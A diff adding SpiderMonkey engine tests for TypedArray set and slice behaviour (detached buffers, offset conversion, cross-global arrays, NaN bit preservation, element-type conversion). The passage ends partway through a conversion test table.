+ // Tests when called with detached typed array as source.
+ for (let {typedArray} of createTypedArrays()) {
+ for (let {typedArray: source, buffer: sourceBuffer} of createTypedArrays()) {
+ detachArrayBuffer(sourceBuffer);
+
+ assertThrowsInstanceOf(() => typedArray.set(source, {
+ valueOf() {
+ throw new ExpectedError();
+ }
+ }), ExpectedError);
+ }
+ }
+
+ // Check when detaching source buffer in ToInteger(offset). Test with:
+ // - valid offset,
+ // - too large offset,
+ // - and negative offset.
+ for (let [offset, error] of [[0, TypeError], [1000000, TypeError], [-1, RangeError]]) {
+ for (let {typedArray} of createTypedArrays()) {
+ for (let {typedArray: source, buffer: sourceBuffer} of createTypedArrays()) {
+ assertThrowsInstanceOf(() => typedArray.set(source, {
+ valueOf() {
+ detachArrayBuffer(sourceBuffer);
+ return offset;
+ }
+ }), error);
+ }
+ }
+ }
+
+ // Test when target and source use the same underlying buffer and
+ // ToInteger(offset) detaches the buffer. Test with:
+ // - same typed array,
+ // - different typed array, but same element type,
+ // - and different element type.
+ for (let src of [ta => ta, ta => new Int32Array(ta.buffer), ta => new Float32Array(ta.buffer)]) {
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = src(typedArray);
+ assertThrowsInstanceOf(() => typedArray.set(source, {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ }), TypeError);
+ }
+ }
+
+ // Test when Get(src, "length") detaches the buffer, but srcLength is 0.
+ // Also use different offsets to ensure bounds checks use the typed array's
+ // length value from before detaching the buffer.
+ for (let offset of [() => 0, ta => Math.min(1, ta.length), ta => Math.max(0, ta.length - 1)]) {
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ get length() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ };
+ typedArray.set(source, offset(typedArray));
+ }
+ }
+
+ // Test when ToLength(Get(src, "length")) detaches the buffer, but
+ // srcLength is 0. Also use different offsets to ensure bounds checks use
+ // the typed array's length value from before detaching the buffer.
+ for (let offset of [() => 0, ta => Math.min(1, ta.length), ta => Math.max(0, ta.length - 1)]) {
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ length: {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ }
+ };
+ typedArray.set(source, offset(typedArray));
+ }
+ }
+
+ // Test no TypeError is thrown when the typed array is detached and
+ // srcLength > 0.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ length: {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }
+ };
+ if (typedArray.length === 0) {
+ assertThrowsInstanceOf(() => typedArray.set(source), RangeError);
+ } else {
+ typedArray.set(source);
+ }
+ }
+
+ // Same as above, but with side-effect when executing Get(src, "0").
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ get 0() {
+ throw new ExpectedError();
+ },
+ length: {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }
+ };
+ let err = typedArray.length === 0 ? RangeError : ExpectedError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+
+ // Same as above, but with side-effect when executing ToNumber(Get(src, "0")).
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ get 0() {
+ return {
+ valueOf() {
+ throw new ExpectedError();
+ }
+ };
+ },
+ length: {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }
+ };
+ let err = typedArray.length === 0 ? RangeError : ExpectedError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+
+ // Side-effects when getting the source elements detach the buffer.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = Object.defineProperties([], {
+ 0: {
+ get() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }
+ });
+ if (typedArray.length === 0) {
+ assertThrowsInstanceOf(() => typedArray.set(source), RangeError);
+ } else {
+ typedArray.set(source);
+ }
+ }
+
+ // Side-effects when getting the source elements detach the buffer. Also
+ // ensure other elements are accessed.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let accessed = false;
+ let source = Object.defineProperties([], {
+ 0: {
+ get() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ },
+ 1: {
+ get() {
+ assertEq(accessed, false);
+ accessed = true;
+ return 2;
+ }
+ }
+ });
+ if (typedArray.length <= 1) {
+ assertThrowsInstanceOf(() => typedArray.set(source), RangeError);
+ } else {
+ assertEq(accessed, false);
+ typedArray.set(source);
+ assertEq(accessed, true);
+ }
+ }
+
+ // Side-effects when converting the source elements detach the buffer.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = [{
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }];
+ if (typedArray.length === 0) {
+ assertThrowsInstanceOf(() => typedArray.set(source), RangeError);
+ } else {
+ typedArray.set(source);
+ }
+ }
+
+ // Side-effects when converting the source elements detach the buffer. Also
+ // ensure other elements are accessed.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let accessed = false;
+ let source = [{
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }, {
+ valueOf() {
+ assertEq(accessed, false);
+ accessed = true;
+ return 2;
+ }
+ }];
+ if (typedArray.length <= 1) {
+ assertThrowsInstanceOf(() => typedArray.set(source), RangeError);
+ } else {
+ assertEq(accessed, false);
+ typedArray.set(source);
+ assertEq(accessed, true);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-negative-offset.js b/js/src/tests/non262/TypedArray/set-negative-offset.js
new file mode 100644
index 0000000000..6d9c45ffb2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-negative-offset.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "set-negative-offset.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1140752;
+var summary =
+ "%TypedArray%.prototype.set must throw a RangeError when passed a negative " +
+ "offset";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new Uint8Array().set([], -1);
+ throw new Error("didn't throw at all");
+}
+catch (e)
+{
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/TypedArray/set-same-buffer-different-source-target-types.js b/js/src/tests/non262/TypedArray/set-same-buffer-different-source-target-types.js
new file mode 100644
index 0000000000..9084ce883a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-same-buffer-different-source-target-types.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "set-same-buffer-different-source-target-types.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 896116;
+var summary =
+ "When setting a typed array from an overlapping typed array of different " +
+ "element type, copy the source elements into properly-sized temporary " +
+ "memory, and properly copy them into the target without overflow (of " +
+ "either source *or* target) when finished";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// smallest 2**n triggering segfaults in a pre-patch build locally, then
+// quadrupled in case the boundary ever changes, or is different in some other
+// memory-allocating implementation
+var srclen = 65536;
+
+var ta = new Uint8Array(srclen * Float64Array.BYTES_PER_ELEMENT);
+var ta2 = new Float64Array(ta.buffer, 0, srclen);
+ta.set(ta2);
+
+// This test mostly exists to check for no crash above, but it's worth testing
+// for no uninitialized memory (in case of buffer overflow) being copied into
+// the array, too.
+for (var i = 0, len = ta.length; i < len; i++)
+ assertEq(ta[i], 0, "zero-bits double should convert to zero");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/TypedArray/set-tointeger.js b/js/src/tests/non262/TypedArray/set-tointeger.js
new file mode 100644
index 0000000000..8c1e9c2418
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-tointeger.js
@@ -0,0 +1,95 @@
+// Test ToInteger conversion in %TypedArray%.prototype.set(array|typedArray, offset).
+
+let ta = new Int32Array(4);
+
+// %TypedArray%.prototype.set has two different implementations for typed array
+// and non-typed array arguments. Test with both input types.
+let emptySources = [[], new Int32Array(0)];
+let nonEmptySource = [[0], new Int32Array(1)];
+let sources = [...emptySources, ...nonEmptySource];
+
+// Test when ToInteger(offset) is in (-1, 4).
+let validOffsets = [
+ // Values in [+0, 4).
+ 0,
+ 0.1,
+ 3,
+ 3.9,
+
+ // Values in (-1, -0].
+ -0,
+ -0.1,
+ -0.9,
+
+ NaN,
+
+ // Also include some non-number values.
+ undefined,
+ null,
+ true,
+ "",
+ "3",
+ " 1\t\n",
+ "some string",
+ {valueOf() { return 2; }},
+];
+
+for (let offset of validOffsets) {
+ for (let source of sources) {
+ ta.set(source, offset);
+ }
+}
+
+// Test when ToInteger(offset) isn't in (-1, 4).
+let invalidOffsets = [
+ // Values exceeding the typed array's length.
+ 5,
+ 2147483647,
+ 2147483648,
+ 2147483649,
+ 4294967295,
+ 4294967296,
+ 4294967297,
+ Infinity,
+
+ // Negative values.
+ -1,
+ -1.1,
+ -2147483647,
+ -2147483648,
+ -2147483649,
+ -4294967295,
+ -4294967296,
+ -4294967297,
+ -Infinity,
+
+ // Also include some non-number values.
+ "8",
+ "Infinity",
+ " Infinity ",
+ {valueOf() { return 10; }},
+];
+
+for (let offset of invalidOffsets) {
+ for (let source of sources) {
+ assertThrowsInstanceOf(() => ta.set(source, offset), RangeError);
+ }
+}
+
+// Test when ToInteger(offset) is in [4, 5).
+for (let source of emptySources) {
+ ta.set(source, 4);
+ ta.set(source, 4.9);
+}
+for (let source of nonEmptySource) {
+ assertThrowsInstanceOf(() => ta.set(source, 4), RangeError);
+ assertThrowsInstanceOf(() => ta.set(source, 4.9), RangeError);
+}
+
+// ToInteger(symbol value) throws a TypeError.
+for (let source of sources) {
+ assertThrowsInstanceOf(() => ta.set(source, Symbol()), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-toobject.js b/js/src/tests/non262/TypedArray/set-toobject.js
new file mode 100644
index 0000000000..360c5dde7e
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-toobject.js
@@ -0,0 +1,53 @@
+// Test ToObject in %TypedArray%.prototype.set(array|typedArray, offset).
+
+let ta = new Int32Array(4);
+
+for (let nullOrUndefined of [null, undefined]) {
+ // ToObject(array) throws a TypeError when |array| is null or undefined.
+ assertThrowsInstanceOf(() => ta.set(nullOrUndefined), TypeError);
+
+ // ToInteger(offset) is called before ToObject(array).
+ class ExpectedError extends Error {}
+ assertThrowsInstanceOf(() => ta.set(nullOrUndefined, {
+ valueOf() {
+ throw new ExpectedError();
+ }
+ }), ExpectedError);
+}
+
+// Ensure ta is still initialized with zeros.
+assertEqArray(ta, [0, 0, 0, 0]);
+
+// %TypedArray%.prototype.set can be called with a string primitive values.
+ta.set("");
+assertEqArray(ta, [0, 0, 0, 0]);
+
+ta.set("123");
+assertEqArray(ta, [1, 2, 3, 0]);
+
+// Throws a RangeError if the length is too large.
+assertThrowsInstanceOf(() => ta.set("456789"), RangeError);
+assertEqArray(ta, [1, 2, 3, 0]);
+
+// When called with other primitive values the typed array contents don't
+// change since ToObject(<primitive>).length is zero, i.e. the source object is
+// treated the same as an empty array.
+for (let value of [true, false, 0, NaN, 123, Infinity, Symbol()]) {
+ ta.set(value);
+ assertEqArray(ta, [1, 2, 3, 0]);
+}
+
+// Repeat test from above when the primitive wrapper prototype has been changed
+// to include "length" and an indexed property.
+Number.prototype.length = 4;
+Number.prototype[3] = -1;
+try {
+ ta.set(456);
+ assertEqArray(ta, [0, 0, 0, -1]);
+} finally {
+ delete Number.prototype.length;
+ delete Number.prototype[3];
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-with-receiver.js b/js/src/tests/non262/TypedArray/set-with-receiver.js
new file mode 100644
index 0000000000..dc01c0766f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-with-receiver.js
@@ -0,0 +1,28 @@
+for (var constructor of anyTypedArrayConstructors) {
+ var receiver = {};
+
+ var ta = new constructor(1);
+ assertEq(Reflect.set(ta, 0, 47, receiver), true);
+ assertEq(ta[0], 0);
+ assertEq(receiver[0], 47);
+
+ // Out-of-bounds
+ assertEq(Reflect.set(ta, 10, 47, receiver), true);
+ assertEq(ta[10], undefined);
+ assertEq(receiver[10], 47);
+
+ // Detached
+ if (typeof detachArrayBuffer === "function" &&
+ !isSharedConstructor(constructor))
+ {
+ detachArrayBuffer(ta.buffer)
+
+ assertEq(ta[0], undefined);
+ assertEq(Reflect.set(ta, 0, 42, receiver), true);
+ assertEq(ta[0], undefined);
+ assertEq(receiver[0], 42);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-wrapped.js b/js/src/tests/non262/TypedArray/set-wrapped.js
new file mode 100644
index 0000000000..30a242bf0b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-wrapped.js
@@ -0,0 +1,81 @@
+// Test %TypedArray%.prototype.set(typedArray, offset) when called with wrapped
+// typed array.
+
+if (typeof newGlobal === "function") {
+ var otherGlobal = newGlobal();
+
+ function taintLengthProperty(obj) {
+ Object.defineProperty(obj, "length", {
+ get() {
+ assertEq(true, false);
+ }
+ });
+ }
+
+ for (var TA of anyTypedArrayConstructors) {
+ var target = new TA(4);
+ var source = new otherGlobal[TA.name]([10, 20]);
+
+ // Ensure "length" getter accessor isn't called.
+ taintLengthProperty(source);
+
+ assertEqArray(target, [0, 0, 0, 0]);
+ target.set(source, 1);
+ assertEqArray(target, [0, 10, 20, 0]);
+ }
+
+ // Detachment checks are also applied correctly for wrapped typed arrays.
+ if (typeof detachArrayBuffer === "function") {
+ // Create typed array from different global (explicit constructor call).
+ for (var TA of typedArrayConstructors) {
+ var target = new TA(4);
+ var source = new otherGlobal[TA.name](1);
+ taintLengthProperty(source);
+
+ // Called with wrapped typed array, array buffer already detached.
+ otherGlobal.detachArrayBuffer(source.buffer);
+ assertThrowsInstanceOf(() => target.set(source), TypeError);
+
+ var source = new otherGlobal[TA.name](1);
+ taintLengthProperty(source);
+
+ // Called with wrapped typed array, array buffer detached when
+ // processing offset parameter.
+ var offset = {
+ valueOf() {
+ otherGlobal.detachArrayBuffer(source.buffer);
+ return 0;
+ }
+ };
+ assertThrowsInstanceOf(() => target.set(source, offset), TypeError);
+ }
+
+ // Create typed array from different global (implictly created when
+ // ArrayBuffer is a CCW).
+ for (var TA of typedArrayConstructors) {
+ var target = new TA(4);
+ var source = new TA(new otherGlobal.ArrayBuffer(1 * TA.BYTES_PER_ELEMENT));
+ taintLengthProperty(source);
+
+ // Called with wrapped typed array, array buffer already detached.
+ otherGlobal.detachArrayBuffer(source.buffer);
+ assertThrowsInstanceOf(() => target.set(source), TypeError);
+
+ var source = new TA(new otherGlobal.ArrayBuffer(1 * TA.BYTES_PER_ELEMENT));
+ taintLengthProperty(source);
+
+ // Called with wrapped typed array, array buffer detached when
+ // processing offset parameter.
+ var offset = {
+ valueOf() {
+ otherGlobal.detachArrayBuffer(source.buffer);
+ return 0;
+ }
+ };
+ assertThrowsInstanceOf(() => target.set(source, offset), TypeError);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set.js b/js/src/tests/non262/TypedArray/set.js
new file mode 100644
index 0000000000..2af5a129a8
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set.js
@@ -0,0 +1,21 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "set" function property.
+assertEq(TypedArrayPrototype.hasOwnProperty("set"), true);
+assertEq(typeof TypedArrayPrototype.set, "function");
+
+// The concrete TypedArray prototypes do not have an own "set" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("set")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "set"), {
+ value: TypedArrayPrototype.set,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+assertEq(TypedArrayPrototype.set.name, "set");
+assertEq(TypedArrayPrototype.set.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/shell.js b/js/src/tests/non262/TypedArray/shell.js
new file mode 100644
index 0000000000..2fb0ab8f1d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/shell.js
@@ -0,0 +1,114 @@
+(function(global) {
+ "use strict";
+
+ const {
+ Float32Array, Float64Array, Object, Reflect, SharedArrayBuffer, WeakMap,
+ assertEq
+ } = global;
+ const {
+ apply: Reflect_apply,
+ construct: Reflect_construct,
+ } = Reflect;
+ const {
+ get: WeakMap_prototype_get,
+ has: WeakMap_prototype_has,
+ } = WeakMap.prototype;
+
+ const sharedConstructors = new WeakMap();
+
+ // Synthesize a constructor for a shared memory array from the constructor
+ // for unshared memory. This has "good enough" fidelity for many uses. In
+ // cases where it's not good enough, call isSharedConstructor for local
+ // workarounds.
+ function sharedConstructor(baseConstructor) {
+ // Create SharedTypedArray as a subclass of %TypedArray%, following the
+ // built-in %TypedArray% subclasses.
+ class SharedTypedArray extends Object.getPrototypeOf(baseConstructor) {
+ constructor(...args) {
+ var array = Reflect_construct(baseConstructor, args);
+ var {buffer, byteOffset, length} = array;
+ var sharedBuffer = new SharedArrayBuffer(buffer.byteLength);
+ var sharedArray = Reflect_construct(baseConstructor,
+ [sharedBuffer, byteOffset, length],
+ new.target);
+ for (var i = 0; i < length; i++)
+ sharedArray[i] = array[i];
+ assertEq(sharedArray.buffer, sharedBuffer);
+ return sharedArray;
+ }
+ }
+
+ // 22.2.5.1 TypedArray.BYTES_PER_ELEMENT
+ Object.defineProperty(SharedTypedArray, "BYTES_PER_ELEMENT",
+ {__proto__: null, value: baseConstructor.BYTES_PER_ELEMENT});
+
+ // 22.2.6.1 TypedArray.prototype.BYTES_PER_ELEMENT
+ Object.defineProperty(SharedTypedArray.prototype, "BYTES_PER_ELEMENT",
+ {__proto__: null, value: baseConstructor.BYTES_PER_ELEMENT});
+
+ // Share the same name with the base constructor to avoid calling
+ // isSharedConstructor() in multiple places.
+ Object.defineProperty(SharedTypedArray, "name",
+ {__proto__: null, value: baseConstructor.name});
+
+ sharedConstructors.set(SharedTypedArray, baseConstructor);
+
+ return SharedTypedArray;
+ }
+
+ /**
+ * All TypedArray constructors for unshared memory.
+ */
+ const typedArrayConstructors = Object.freeze([
+ Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ ]);
+
+ /**
+ * All TypedArray constructors for shared memory.
+ */
+ const sharedTypedArrayConstructors = Object.freeze(
+ typeof SharedArrayBuffer === "function"
+ ? typedArrayConstructors.map(sharedConstructor)
+ : []
+ );
+
+ /**
+ * All TypedArray constructors for unshared and shared memory.
+ */
+ const anyTypedArrayConstructors = Object.freeze([
+ ...typedArrayConstructors, ...sharedTypedArrayConstructors,
+ ]);
+
+ /**
+ * Returns `true` if `constructor` is a TypedArray constructor for shared
+ * memory.
+ */
+ function isSharedConstructor(constructor) {
+ return Reflect_apply(WeakMap_prototype_has, sharedConstructors, [constructor]);
+ }
+
+ /**
+ * Returns `true` if `constructor` is a TypedArray constructor for shared
+ * or unshared memory, with an underlying element type of either Float32 or
+ * Float64.
+ */
+ function isFloatConstructor(constructor) {
+ if (isSharedConstructor(constructor))
+ constructor = Reflect_apply(WeakMap_prototype_get, sharedConstructors, [constructor]);
+ return constructor == Float32Array || constructor == Float64Array;
+ }
+
+ global.typedArrayConstructors = typedArrayConstructors;
+ global.sharedTypedArrayConstructors = sharedTypedArrayConstructors;
+ global.anyTypedArrayConstructors = anyTypedArrayConstructors;
+ global.isSharedConstructor = isSharedConstructor;
+ global.isFloatConstructor = isFloatConstructor;
+})(this);
diff --git a/js/src/tests/non262/TypedArray/slice-bitwise.js b/js/src/tests/non262/TypedArray/slice-bitwise.js
new file mode 100644
index 0000000000..ea0a670b18
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-bitwise.js
@@ -0,0 +1,153 @@
+// Copies bytes bit-wise if source and target type are the same.
+// Only detectable when using floating point typed arrays.
+const float32Constructors = anyTypedArrayConstructors.filter(isFloatConstructor)
+ .filter(c => c.BYTES_PER_ELEMENT === 4);
+const float64Constructors = anyTypedArrayConstructors.filter(isFloatConstructor)
+ .filter(c => c.BYTES_PER_ELEMENT === 8);
+
+// Also test with cross-compartment typed arrays.
+const otherGlobal = newGlobal();
+float32Constructors.push(otherGlobal.Float32Array);
+float64Constructors.push(otherGlobal.Float64Array);
+
+function* p(xs, ys) {
+ for (let x of xs) {
+ for (let y of ys) {
+ yield [x, y];
+ }
+ }
+}
+
+const isLittleEndian = new Uint8Array(new Uint16Array([1]).buffer)[0] !== 0;
+
+function geti64(i32, i) {
+ return [i32[2 * i + isLittleEndian], i32[2 * i + !isLittleEndian]];
+}
+
+function seti64(i32, i, [hi, lo]) {
+ i32[i * 2 + isLittleEndian] = hi;
+ i32[i * 2 + !isLittleEndian] = lo;
+}
+
+const NaNs = {
+ Float32: [
+ 0x7F800001|0, // smallest SNaN
+ 0x7FBFFFFF|0, // largest SNaN
+ 0x7FC00000|0, // smallest QNaN
+ 0x7FFFFFFF|0, // largest QNaN
+ 0xFF800001|0, // smallest SNaN, sign-bit set
+ 0xFFBFFFFF|0, // largest SNaN, sign-bit set
+ 0xFFC00000|0, // smallest QNaN, sign-bit set
+ 0xFFFFFFFF|0, // largest QNaN, sign-bit set
+ ],
+ Float64: [
+ [0x7FF00000|0, 0x00000001|0], // smallest SNaN
+ [0x7FF7FFFF|0, 0xFFFFFFFF|0], // largest SNaN
+ [0x7FF80000|0, 0x00000000|0], // smallest QNaN
+ [0x7FFFFFFF|0, 0xFFFFFFFF|0], // largest QNaN
+ [0xFFF00000|0, 0x00000001|0], // smallest SNaN, sign-bit set
+ [0xFFF7FFFF|0, 0xFFFFFFFF|0], // largest SNaN, sign-bit set
+ [0xFFF80000|0, 0x00000000|0], // smallest QNaN, sign-bit set
+ [0xFFFFFFFF|0, 0xFFFFFFFF|0], // largest QNaN, sign-bit set
+ ],
+};
+
+const cNaN = {
+ Float32: new Int32Array(new Float32Array([NaN]).buffer)[0],
+ Float64: geti64(new Int32Array(new Float64Array([NaN]).buffer), 0),
+};
+
+// Float32 -> Float32
+for (let [sourceConstructor, targetConstructor] of p(float32Constructors, float32Constructors)) {
+ let len = NaNs.Float32.length;
+ let f32 = new sourceConstructor(len);
+ let i32 = new Int32Array(f32.buffer);
+ f32.constructor = targetConstructor;
+
+ for (let i = 0; i < len; ++i) {
+ i32[i] = NaNs.Float32[i];
+ }
+
+ let rf32 = f32.slice(0);
+ let ri32 = new Int32Array(rf32.buffer);
+
+ assertEq(rf32.length, len);
+ assertEq(ri32.length, len);
+
+ // Same bits.
+ for (let i = 0; i < len; ++i) {
+ assertEq(ri32[i], NaNs.Float32[i]);
+ }
+}
+
+// Float32 -> Float64
+for (let [sourceConstructor, targetConstructor] of p(float32Constructors, float64Constructors)) {
+ let len = NaNs.Float32.length;
+ let f32 = new sourceConstructor(len);
+ let i32 = new Int32Array(f32.buffer);
+ f32.constructor = targetConstructor;
+
+ for (let i = 0; i < len; ++i) {
+ i32[i] = NaNs.Float32[i];
+ }
+
+ let rf64 = f32.slice(0);
+ let ri32 = new Int32Array(rf64.buffer);
+
+ assertEq(rf64.length, len);
+ assertEq(ri32.length, 2 * len);
+
+ // NaN bits canonicalized.
+ for (let i = 0; i < len; ++i) {
+ assertEqArray(geti64(ri32, i), cNaN.Float64);
+ }
+}
+
+// Float64 -> Float64
+for (let [sourceConstructor, targetConstructor] of p(float64Constructors, float64Constructors)) {
+ let len = NaNs.Float64.length;
+ let f64 = new sourceConstructor(len);
+ let i32 = new Int32Array(f64.buffer);
+ f64.constructor = targetConstructor;
+
+ for (let i = 0; i < len; ++i) {
+ seti64(i32, i, NaNs.Float64[i]);
+ }
+
+ let rf64 = f64.slice(0);
+ let ri32 = new Int32Array(rf64.buffer);
+
+ assertEq(rf64.length, len);
+ assertEq(ri32.length, 2 * len);
+
+ // Same bits.
+ for (let i = 0; i < len; ++i) {
+ assertEqArray(geti64(ri32, i), NaNs.Float64[i]);
+ }
+}
+
+// Float64 -> Float32
+for (let [sourceConstructor, targetConstructor] of p(float64Constructors, float32Constructors)) {
+ let len = NaNs.Float64.length;
+ let f64 = new sourceConstructor(len);
+ let i32 = new Int32Array(f64.buffer);
+ f64.constructor = targetConstructor;
+
+ for (let i = 0; i < len; ++i) {
+ seti64(i32, i, NaNs.Float64[i]);
+ }
+
+ let rf32 = f64.slice(0);
+ let ri32 = new Int32Array(rf32.buffer);
+
+ assertEq(rf32.length, len);
+ assertEq(ri32.length, len);
+
+ // NaN bits canonicalized.
+ for (let i = 0; i < len; ++i) {
+ assertEqArray(ri32[i], cNaN.Float32);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-conversion.js b/js/src/tests/non262/TypedArray/slice-conversion.js
new file mode 100644
index 0000000000..bc44d798c5
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-conversion.js
@@ -0,0 +1,515 @@
+// Test conversions to different element types.
+let tests = [
+ /* Int8Array */
+ {
+ from: Int8Array,
+ to: Int8Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+ {
+ from: Int8Array,
+ to: Uint8Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, 128, 129, 255, 0, 1, 127, 128, 129],
+ },
+ {
+ from: Int8Array,
+ to: Uint8ClampedArray,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, 0, 0, 0, 0, 1, 127, 0, 0],
+ },
+ {
+ from: Int8Array,
+ to: Int16Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+ {
+ from: Int8Array,
+ to: Uint16Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, 65408, 65409, 65535, 0, 1, 127, 65408, 65409],
+ },
+ {
+ from: Int8Array,
+ to: Int32Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+ {
+ from: Int8Array,
+ to: Uint32Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, 4294967168, 4294967169, 4294967295, 0, 1, 127, 4294967168, 4294967169],
+ },
+ {
+ from: Int8Array,
+ to: Float32Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+ {
+ from: Int8Array,
+ to: Float64Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+
+ /* Uint8Array */
+ {
+ from: Uint8Array,
+ to: Int8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, -128, -127, -2, -1, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Uint8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Uint8ClampedArray,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Int16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Uint16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Int32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Uint32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Float32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Float64Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+
+ /* Uint8ClampedArray */
+ {
+ from: Uint8ClampedArray,
+ to: Int8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, -128, -127, -2, -1, -1],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Uint8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Uint8ClampedArray,
